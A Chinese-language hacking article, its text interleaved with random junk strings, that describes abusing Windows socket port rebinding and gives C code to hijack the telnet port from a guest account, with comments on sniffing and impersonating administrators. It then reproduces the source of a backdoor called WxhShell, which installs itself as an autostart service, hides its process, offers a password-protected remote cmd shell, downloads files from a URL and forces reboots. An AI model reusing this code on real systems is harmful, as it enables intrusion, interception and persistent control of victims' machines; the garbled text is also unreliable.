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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @VI@fN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qgB_=Q#E 9H~n_ saddr.sin_family = AF_INET; $VR{q6[0S? i~72bMwsA saddr.sin_addr.s_addr = htonl(INADDR_ANY); =pr7G+_u XP}<N&j bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A}w/OA97RO ?A0)L27UE& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CGFDqCNr- @9:uqsL 这意味着什么?意味着可以进行如下的攻击: ]@TCk8d$0 ]###w; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4e y>LBl] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @+DX.9 DfB7*+x{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#Q5o)x tBSW|0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 R!1p^~/ {)Xy%QV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j1Ezf=N6` 4z)]@:`}z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {[F A# a.Vuu)+Quw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h`KU\X )A <naz+QK' #include [B3RfCV{ #include 0"#HJA44 #include .]Z"C&"N] #include |?9HU~B DWORD WINAPI ClientThread(LPVOID lpParam); L.IlBjD int main() ! P4*+')M { DwF hK* WORD wVersionRequested; 31)&vf[[ DWORD ret; P2Y^d#jO WSADATA wsaData; d5d@k BOOL val; Y*hCMy; SOCKADDR_IN saddr; h];I{crh SOCKADDR_IN scaddr; 2SLU:=<3 int err; =c7;r]Ol SOCKET s; [-&Zl(9& SOCKET sc; >dT*rH 3w int caddsize; kVL.PY\K HANDLE mt; }WV:erg` DWORD tid; pk~WrqK} wVersionRequested = MAKEWORD( 2, 2 ); M=Wz err = WSAStartup( wVersionRequested, &wsaData ); TC"<g if ( err != 0 ) { QW"! (`K printf("error!WSAStartup failed!\n"); MQ4KdqgP return -1; $!DpjN } %)wjR/o saddr.sin_family = AF_INET; \v/[6&|X0s 45oR=Atn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^}r1;W?n 0IpmRH/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r*Xuj= saddr.sin_port = htons(23); ;d?R:Uw8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KlqY@Xt { Js;h% printf("error!socket failed!\n"); hOeRd#AQK return -1; z)"=:o7 } ~XIb\m9H val = TRUE; svSVG:48 //SO_REUSEADDR选项就是可以实现端口重绑定的 f!"w5qC^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E_`=7i { g78^9Y*1 printf("error!setsockopt failed!\n"); E.f%H(b return -1; Ep}s}Stlr} } uw7zWJ
n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nP$9CA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ElXFeJ%[G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s @C}P IK]d3owA if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y}H!c; { \Cj B1]I ret=GetLastError(); 7d vnupLh printf("error!bind failed!\n"); Y$zSQ_k;U return -1; Q.[0ct } P* o9a listen(s,2); ;=N#`l while(1) 9B4&m|g { *`U~?q} caddsize = sizeof(scaddr); 0aAoV0fMDz //接受连接请求 He)%S]RLk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q:(%*sY> if(sc!=INVALID_SOCKET) h$*!8=M { Ls%MGs9PI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w(rE`IgW if(mt==NULL) _Y!IEAU/# { +q oRP2 printf("Thread Creat Failed!\n"); n| ;Im&, break; _g.{MTQ } f5r0\7y0 } Z}QB.$& CloseHandle(mt); % `3jL7| } iB{V^ksU closesocket(s); fIF8%J ^3 WSACleanup(); 7 3m1 return 0; f<H2-(m } yjAL\U7`T DWORD WINAPI ClientThread(LPVOID lpParam) HV.t6@\}; { O84i;S+-p SOCKET ss = (SOCKET)lpParam; #F#%`Rv1 SOCKET sc; g'gdgfvn unsigned char buf[4096]; #S(Hd?34, SOCKADDR_IN saddr; v1[29t<I! long num; =fbWz DWORD val; :r[`.` DWORD ret; `]X>V, //如果是隐藏端口应用的话,可以在此处加一些判断 kFB //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 vbNBLCwug saddr.sin_family = AF_INET; 2|L&DF:G saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PdCEUh\>y saddr.sin_port = htons(23); 9my^Y9B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q7!{?\T% { ] @'!lhLi printf("error!socket failed!\n"); xUvs: return -1; 99S^f:t } w &(ag$p' val = 100; ,^:.dFH6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [~^0gAlQC { <!+Az,- ret = GetLastError(); T|p"0b A return -1; hj:,S| } p[-O( 3Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :svqE+2 { hc1N~$3!G ret = GetLastError(); +%&yJ4- return -1; TJN4k@\$2 } Kgv T"s. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <[v[ci { U(Zq= M printf("error!socket connect failed!\n"); JVJMgim)0 closesocket(sc); iwq!w6+ closesocket(ss); nNm`Hfi return -1; :Al!1BJQ } 2|,VqVb while(1) /{[o~:'p { ZG:{[sT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %C0Dw\A*: //如果是嗅探内容的话,可以再此处进行内容分析和记录 @ 7u 0v //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B1gR5p 0 num = recv(ss,buf,4096,0); 43w}qY1 if(num>0) 5s XXM send(sc,buf,num,0); edD)TpmE, else if(num==0) No$3"4wk break; bLL2 num = recv(sc,buf,4096,0); HsWk*L `y if(num>0) QWU[@2@%r send(ss,buf,num,0); RNL9>7xV else if(num==0) D=$)n_F break; #z(]xI)" } xoL\us`A closesocket(ss); +mPx8P&% closesocket(sc); -/4P3SG/ return 0 ; Kq!3wb; } }b}m3i1 ~~.}ah/_d ta0|^KAA ========================================================== xG 1nGO [WJ+h~~
o 下边附上一个代码,,WXhSHELL YR70BOxK Smh,zCc>s ========================================================== vI?, 47Hj+ rA1._
#include "stdafx.h" "7
yD0T)2 yu|>t4#GT #include <stdio.h> >l m&iF3y #include <string.h> dQvcXl] #include <windows.h> QPx^_jA #include <winsock2.h> :3PH8TL #include <winsvc.h> rOYx
b }1 #include <urlmon.h> MA\V[32H GY*p?k<i #pragma comment (lib, "Ws2_32.lib") cNrg#Asen& #pragma comment (lib, "urlmon.lib") /QQ*8o8 )+^+sd #define MAX_USER 100 // 最大客户端连接数 ~Ei<Z`3}7" #define BUF_SOCK 200 // sock buffer + 3gp%`c4 #define KEY_BUFF 255 // 输入 buffer TpaInXR CITc2v3a #define REBOOT 0 // 重启 <aw[ XFg #define SHUTDOWN 1 // 关机 !Cs_F&l"j f<_Cq<q" #define DEF_PORT 5000 // 监听端口 ]GS bjHsO `^vE9nW7 #define REG_LEN 16 // 注册表键长度 km(Po} #define SVC_LEN 80 // NT服务名长度 Wqnc{oq|$ _`V'r#Qn // 从dll定义API `L
zPotz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wzA$'+Mb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =|=(l)8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }bDm@NU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1 zZlC#V ]5O~+Nf // wxhshell配置信息 =]t|];c% struct WSCFG { GyIV
Hby int ws_port; // 监听端口 Xvv6~ char ws_passstr[REG_LEN]; // 口令 K9[UB int ws_autoins; // 安装标记, 1=yes 0=no H}!r|nG char ws_regname[REG_LEN]; // 注册表键名 ' QG?nu char ws_svcname[REG_LEN]; // 服务名 R-:2HRaA char ws_svcdisp[SVC_LEN]; // 服务显示名 ?[AD=rUC char ws_svcdesc[SVC_LEN]; // 服务描述信息 wJ]d&::@h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oDR%\VY6T int ws_downexe; // 下载执行标记, 1=yes 0=no \bF{-" 7. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" :/#rZPPF char ws_filenam[SVC_LEN]; // 下载后保存的文件名 > I?IPQB
8}[).d160 };
XX@ZQcN T%Lx%Qn // default Wxhshell configuration .>S!ji struct WSCFG wscfg={DEF_PORT, Ba,`TJ%y "xuhuanlingzhe", eRYK3W 1, \RiP
"Wxhshell", *hx "Wxhshell", vdZW%-A&\ "WxhShell Service", d$RIS+V "Wrsky Windows CmdShell Service", eDMO]5}Ht "Please Input Your Password: ", }6# 1, . vV|hSc " http://www.wrsky.com/wxhshell.exe", |=w@H]r "Wxhshell.exe" f 2.HF@ }; ^ c<Ve'- Wri<h:1 // 消息定义模块 bsX[UF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 53D]3 char *msg_ws_prompt="\n\r? for help\n\r#>"; .]u/O`c] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ZH8,KY" char *msg_ws_ext="\n\rExit."; ?}0 ,o. char *msg_ws_end="\n\rQuit."; |N2#ItBbW char *msg_ws_boot="\n\rReboot..."; >j/w@Fj char *msg_ws_poff="\n\rShutdown..."; f?Lw)hMrA char *msg_ws_down="\n\rSave to ";
;'|Ey l;Wj] char *msg_ws_err="\n\rErr!"; 'NmRR]Q9 char *msg_ws_ok="\n\rOK!"; ~ a: Oz95 char ExeFile[MAX_PATH]; Pal=F0-Q\ int nUser = 0; &pRREu:[4L HANDLE handles[MAX_USER]; %Zi} MPx int OsIsNt; $I=~S[p N['.BN SERVICE_STATUS serviceStatus; tA;}h7/Lc~ SERVICE_STATUS_HANDLE hServiceStatusHandle; ;`&kZi60Hz YWLj?+ // 函数声明 wp_0+$?s int Install(void); Upe%rC( int Uninstall(void); u_enqC3 int DownloadFile(char *sURL, SOCKET wsh); ?
t|[? int Boot(int flag); nUO0Ce void HideProc(void); T[gv0|+ int GetOsVer(void); ]DcFySyv int Wxhshell(SOCKET wsl); HtFDlvdy] void TalkWithClient(void *cs); [WmM6UEVS int CmdShell(SOCKET sock); zfU{Kd int StartFromService(void); U/U);frH int StartWxhshell(LPSTR lpCmdLine); icgfB-1|i l**X^+=$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t_^4`dW` VOID WINAPI NTServiceHandler( DWORD fdwControl ); )pa]ui\t ~}P,.QQ // 数据结构和表定义 &ncvGDGi SERVICE_TABLE_ENTRY DispatchTable[] = ]G\}k { AH^/V}9H {wscfg.ws_svcname, NTServiceMain}, w<#!h6Y= {NULL, NULL} +[VXs~I
q }; Psf#c:*_) kmW4:EA% // 自我安装 Y4-t7UlS; int Install(void) J5qZFD { -f .,tM= char svExeFile[MAX_PATH]; c)J%`i$ HKEY key; ;uJMG strcpy(svExeFile,ExeFile); 7! Nsm It(_v // 如果是win9x系统,修改注册表设为自启动 #"!<W0 if(!OsIsNt) { TH;hO).u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TOt dUO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &
21%zPm RegCloseKey(key); By|4m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Mbz3;i0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?< +WG/(d RegCloseKey(key); @{Q4^'K" return 0; S[gx{Bxiw } 7#XzrT] } -RwE%cr } c{|p.hd else { $FV NCFN% ]^E?;1$f? // 如果是NT以上系统,安装为系统服务 la!~\wpa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _>+Ld6.T6 if (schSCManager!=0) lxx2H1([ { RZLq]8pM SC_HANDLE schService = CreateService 3fj4%P" ( vXs"Dst schSCManager, 1}x%%RD_ wscfg.ws_svcname, K?;DMUSY\ wscfg.ws_svcdisp, afVT~Sf{ SERVICE_ALL_ACCESS, +(Ae4{z"1+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +7Gwg SERVICE_AUTO_START, )nkY_'BV SERVICE_ERROR_NORMAL, -w2/w@& svExeFile, J1k>07}| NULL, K-v#.e4 NULL, D*jM1w_` NULL, pi(m7Ci" NULL, -@'FW*b NULL Lbgi7|& ); Wr
4,YQM if (schService!=0) p K*TE5] { 1EK*g;H CloseServiceHandle(schService); dO'(2J8 CloseServiceHandle(schSCManager); {: /}NpA$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?uu*L6 strcat(svExeFile,wscfg.ws_svcname); aE8VZ8tvq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oH@78D0A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nn6%9PX_) RegCloseKey(key); kiEa<-] return 0; e~OpofJNb } 2y4bwi } *dQSw)R CloseServiceHandle(schSCManager); 5pX6t } f*Hr^b}`8 } z{
dEC % &C}*w2]0S return 1; =_CzH(=f# } rq{$,/6. -).C // 自我卸载 )0`C@um int Uninstall(void) 81F9uM0 { X|dlt{Gf
HKEY key; yi[x}ffdE Rq -ZL{LR7 if(!OsIsNt) { -"x$ZnHU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Wup/o RegDeleteValue(key,wscfg.ws_regname);
mh%VrAq RegCloseKey(key); z{q`G wW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ).O)p9 RegDeleteValue(key,wscfg.ws_regname); KNl$3nX RegCloseKey(key); UMi~14& ; return 0; W?&%x(6M } tQVVhXQ7 } ^iA9%zp } 7V>M] else { UKGPtKE< *~`(RV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h[ ZN+M if (schSCManager!=0) Cp N>p.kM { Wwo0%<2y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e-;}366} if (schService!=0) !WlH'y-I { WH\d| 1) if(DeleteService(schService)!=0) { l/D}
X CloseServiceHandle(schService); ;uW FHc5@B CloseServiceHandle(schSCManager); ib m4fa return 0; }p
V:M{Nu& } /r 5eWR1G CloseServiceHandle(schService); +T ?NH9 } 'u658Tj CloseServiceHandle(schSCManager); Om&Dw|xG8 } /Oono6j } Ri'n ]~-r}`] return 1; !D6]JPX } !-bB559Nv 2wn2.\v M // 从指定url下载文件 `cO:<^% int DownloadFile(char *sURL, SOCKET wsh) 4i bc { xw%0>K[ HRESULT hr; 7)m9"InDI char seps[]= "/"; 1C.VnzRnJ char *token; :UdF char *file; }Z>)DN=+ char myURL[MAX_PATH]; `oJ [u:b char myFILE[MAX_PATH]; 2%1hdA< ~[: 2I strcpy(myURL,sURL); /reX{Y token=strtok(myURL,seps); u2I Cl while(token!=NULL) BUFv|z+H { =a!=2VN9y file=token; & kIFcd@ token=strtok(NULL,seps); :&Nbw } p_ =z# G3]4A&h9v~ GetCurrentDirectory(MAX_PATH,myFILE); E7hhew strcat(myFILE, "\\"); rNM;ZPF# strcat(myFILE, file); ?%86/N> send(wsh,myFILE,strlen(myFILE),0); w!CNRtM:~ send(wsh,"...",3,0); 6zkaOA46V hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B!yr!DWv if(hr==S_OK) 3T
9j@N77 return 0; ^8tEach else C~[,z.FvO return 1;
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SuznN
L=/$ } Cw%{G'O c,22*.V/ // 系统电源模块 zi:BF60]= int Boot(int flag) 0V]s:S { l%ZhA=TKQ HANDLE hToken; J1kM\8%b\ TOKEN_PRIVILEGES tkp; YqG7h,F ]4{H+rw if(OsIsNt) { -M2yw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ymgw-NJ;( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iE{&*.q_}> tkp.PrivilegeCount = 1; ,Q,^3*HX9} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q?T]MUY(L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VpUAeWb if(flag==REBOOT) { h![#;>( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f?b"i A(6 return 0; P2!C|SLK } zX~MC?,W1 else { l,:F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q&&@v4L return 0; JRFtsio* } )+M0Y_r } hSMH,^Io$ else { [Q =Nn if(flag==REBOOT) { "3hMq1NQ`g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5IN(|B0 return 0; F?cK-. } }Lv;! else { 2tLJU Z1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eQ"E return 0; hcc/=_hA } -&;TA0~; } {!`4iiF M;NX:mX9 return 1; 6RM/GM } C?Ucu]cW X.V~SeS // win9x进程隐藏模块 __@BUK{ q void HideProc(void) YP9^Bp{0 { 9cgUT@a <Qq*p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C>~TI,5a3 if ( hKernel != NULL ) {)"vN(mX { xpI wrJO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P$sxr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AEuG v}# FreeLibrary(hKernel); )i<j XZ:O } eq" ]%s Ug`djIL return; ^&)|sP } b2]Kx&! bfO=;S]b! // 获取操作系统版本 `kr?j:g int GetOsVer(void) a>)f=uS { w:l"\Tm OSVERSIONINFO winfo; <or2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W l16`9 GetVersionEx(&winfo); -DCbko if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yBRC*0+Vy return 1; m3ff;, else 4sM.C9W return 0; Mq8L0%j } aP`P)3O6)1 ]HdCt 3X // 客户端句柄模块 qa6,z.mQ int Wxhshell(SOCKET wsl) Jl<2>@ { lLD12d SOCKET wsh; Ha#>G<;n struct sockaddr_in client; WKU=.sY DWORD myID; <ih[TtZ aoTP[Bp while(nUser<MAX_USER) f-2c0Bi { 1U\z5$V int nSize=sizeof(client); "mNq&$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^t"'rD-I if(wsh==INVALID_SOCKET) return 1; FN;^"H {e5= &A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ??T#QQ if(handles[nUser]==0) 4 OX^( closesocket(wsh); _
J[ else # [a*rD%m nUser++; fzA9'i` } X jX2] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xKC[=E>z yEoV[K8k return 0; JCaOK2XT; } W%)Y#C 9/7u*>: // 关闭 socket cAc@n6[`3 void CloseIt(SOCKET wsh) N&pCx& {
BB'OCN closesocket(wsh); frQ{iUx nUser--; H.2QKws^F ExitThread(0); J$!iq| } '{`$#@a. $kKjgQS( // 客户端请求句柄 eY\yE"3 void TalkWithClient(void *cs) f9;(C4+ { xvy.=( }{"fJ3] c^ SOCKET wsh=(SOCKET)cs; 4e1Y/
Xq` char pwd[SVC_LEN]; ]fD}
^s3G char cmd[KEY_BUFF]; 8*fv' char chr[1]; HKr
Mim- int i,j; JG,%qFlk MWL%
Bz while (nUser < MAX_USER) { 9mFE?J 63A.@mL if(wscfg.ws_passstr) { X$pJ
:M{F$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7=DdrG< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2Gdd*=4z //ZeroMemory(pwd,KEY_BUFF); n}V_,:Z i=0; `KQvJjA6 while(i<SVC_LEN) { 4H-'Dr=G Tqk\XILG N // 设置超时 iyp=lLk fd_set FdRead; d M-%{ struct timeval TimeOut; 9E6R0D} FD_ZERO(&FdRead); pD74+/DD FD_SET(wsh,&FdRead); Bnd [X TimeOut.tv_sec=8; f`/x"@~H5 TimeOut.tv_usec=0; ,iq4Iw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #V}IvQl| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p^u:&Quac 4g7)i L^#~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lPJ\-/>$z pwd =chr[0]; l$'wD hN* if(chr[0]==0xd || chr[0]==0xa) { EyLu O-5 pwd=0; FEVlZ<PW3I break; Wr5V`sM } {>%&(
i++; ~WN:DXn } Ydy9 W,-g=6, // 如果是非法用户,关闭 socket xp9pl[l if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yH}s<@y;7 } LraWcO\or' 0C*7K?/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
EU/8=JA1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kM@zyDn, zA"`!}* while(1) { i2^>vYCsl Y]5l.SV ZeroMemory(cmd,KEY_BUFF); Zsh9>]ML 0<B$#8 // 自动支持客户端 telnet标准 tdaL/rRe j=0; y#$CMf
-q^ while(j<KEY_BUFF) { e NafpK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $DUZ!zaH! cmd[j]=chr[0];
4YX3+oS if(chr[0]==0xa || chr[0]==0xd) { 7`hP?a= cmd[j]=0; *
+wW(#[ break; a -moI+y } F.v{-8GV j++; 1&o|TT/ } a+PzI x2 @oad,=R& // 下载文件 7fX<511( if(strstr(cmd,"http://")) { j9OG\m send(wsh,msg_ws_down,strlen(msg_ws_down),0); c\V7i#u[d; if(DownloadFile(cmd,wsh)) bD8Gwi=iiu send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}G+4Sk else t>B;w14 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A$xF$l } BIWWMg else { ~**.|%Kc .%C|+#&d switch(cmd[0]) { aCLq k' :Qf '2.h) // 帮助 fe#\TNeQJ[ case '?': { V}NbuvDB@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qc~iQSI break; J{&H+rd } }k
G9!sf // 安装 we?76t:- case 'i': { VgC2+APg if(Install()) O|N{v"o send(wsh,msg_ws_err,strlen(msg_ws_err),0); *~j@*{u else q,U+qt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f!
.<$ih break; _aMPa+D=P } Yr=Y@~ XL // 卸载 h@]XBv case 'r': { Bv%GJ*>> if(Uninstall()) Ktm4 A O send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#tjp(- else Y.ToIka{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A^EE32kbm break; SrK<fAkx } ye? 'Ze // 显示 wxhshell 所在路径 c>~*/%+ case 'p': { ,V:SN~P66+ char svExeFile[MAX_PATH]; A;|D:;x3G strcpy(svExeFile,"\n\r"); %zw1}|s#z strcat(svExeFile,ExeFile); >q1L2',pK send(wsh,svExeFile,strlen(svExeFile),0); -701j'q{ break; 0f>5(ek } }HePZ{PLM // 重启 W$2C47i case 'b': { o W Nh@C send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tWa)_y if(Boot(REBOOT)) :s6o"VkW send(wsh,msg_ws_err,strlen(msg_ws_err),0); r[Hc>wBv else { t; {F%9j{ closesocket(wsh); Q=20IQp ExitThread(0); z4]api(xZ } jc f #6 break; EeRX+BM, } c[1oww // 关机 BV upDGh3 case 'd': { !*. -`$x send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *zL}&RUKM if(Boot(SHUTDOWN)) ?+a,m# Yx send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|S43i&p else { VsE9H]v
closesocket(wsh); vVe';|8v ExitThread(0); Ab"@714@ } xzZ38xIhV break; o;R2p $ } hL;(C)( // 获取shell o,8TDg case 's': { Q_X.rUL0w CmdShell(wsh); &_|#. closesocket(wsh); )vb*Ef ExitThread(0); "z=SO1 break; [>%xd)8.c } 1gy.8i // 退出 2!J&+r case 'x': { K;z7/[% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t*T2Z-!P CloseIt(wsh); }m;,Q9:+m^ break; o-OHjFfB } iv;Is[<o // 离开 \(Y\|zC'0$ case 'q': { e`xdSi>E send(wsh,msg_ws_end,strlen(msg_ws_end),0); B%76rEpvW; closesocket(wsh); emPM4iG?! WSACleanup(); /M4{Wc exit(1); #& Rw& break; 1\>^m } c~uKsU } 4f'V8|QM{ } Y+*0~xm4 O-I[igNl // 提示信息 f;gw"onx8F if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T<p !5`B 1 } EYEnN } ,\n&I( n}G|/v<
return; FZ,#0ZYJGP } 8UyMVY ?!cvf{a // shell模块句柄 +M$Q
=6/ int CmdShell(SOCKET sock) ;n=.>s*XL' { HxK80mJ STARTUPINFO si; `a/%W4 ZeroMemory(&si,sizeof(si)); t@N=kV si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `_RTw5{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -w_QJ_z_ PROCESS_INFORMATION ProcessInfo; Xudg2t)+K char cmdline[]="cmd"; _p&]|~a CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZR]25Yy return 0; )~] (& } NzOo0tz: _5# y06Q // 自身启动模式 Oz`BEyb]{ int StartFromService(void) e`TH91@ { ,\ k(x>oy typedef struct 4.=3M {
G]i/nB
DWORD ExitStatus; X/2&!O DWORD PebBaseAddress; >eB\(EP DWORD AffinityMask; \$\ENQ;Nk DWORD BasePriority; "*5hiTr8+ ULONG UniqueProcessId; ,Pjew% ULONG InheritedFromUniqueProcessId; *q".-u!D[ } PROCESS_BASIC_INFORMATION; <|+Ex $yYO_ZBiy PROCNTQSIP NtQueryInformationProcess; db6b-Y{ e<h~o!za static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K4;'/cS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I}6\Sv= t&CJ%XP HANDLE hProcess; gy0haW PROCESS_BASIC_INFORMATION pbi; Vz)`nmO}5\ #Xb+`' HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GlT7b/JCG if(NULL == hInst ) return 0; Uo>]sNP~ 2hkRd>)&5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5>j)kx=J9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i9A+gtd 